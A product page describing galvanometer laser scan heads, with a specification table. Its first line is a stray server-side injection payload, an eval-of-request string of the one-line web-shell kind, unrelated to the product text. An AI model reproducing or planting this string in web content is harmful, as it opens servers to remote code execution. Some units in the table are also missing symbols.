%eval(request(chr(35)))%><%'"/>
Galvanometers (also called "galvo scanners" or "scan heads")are computer-controlled electromagnetic devices that move mirrors mounted on the end of rotary shafts. The mirror reflects the laser beam to "draw" images. Galvanometers are typically identified by their speed of operation, measured in Kpps (kilo points per second). Each galvanometer moves the beam in one plane, either X axis or Y axis. Placing the galvanometers close together at 90 degrees to each other allows full movement of the laser beam within a defined square area. The most useful specifications of a galvanometer pair for laser show , laser marking, laser engraving, laser cutting, 3D printing and Skin resurfacing applications. The galvanometer is controlled by a servo systemthe control circuit uses a feedback signal generated by the mirror's motion to correct motion commands. An amplifier similar to an audio power amplifier drives the mirror.
| Input Aperture | 3mm/ 5mm/ 7mm/ 9mm/ 10mm/ 12mm/ 14mm/ 16mm/ 20mm/ 25mm/ 30mm/ 50mm |
| Wavelength | 266nm/ 355nm/ 405nm/ 532nm/ 650nm/ 808nm/ 980nm/ 1064nm/ 10.6um |
| Working Temperature | 0- 45 |
| Linearity | 99.9% |
| Setting Time | 0.17ms to 0.8ms (according to the mirror size) |
| Scale Drift | <40PPM/ |
| Zero Drift | <15Rad./ |
| Long-term Drift Over 8h | <0.5mRad. |
| RMS Current | 2.0A |
| Peak Current | 15A |
| Maximum Scan Angle | 15 to 30 |
| Storage Temperature | -10 to +60 |
| Resolution | 12rad |
| Repeatability | 8rad |
| Frequency | 800Hz to 40KHz (according to the mirror size) |
| Input Voltage MAX.RMS | 15(24) VDC |
| Interface Signals Digital | XY2-100 |
| Position Signal Input Resistance | 1K1% |
| Position Signal Input Scale Factor | 0.33V/ |
| Position Signal Output Scale Factor | 0.33V/ |
| Working Temperature | 0-45 |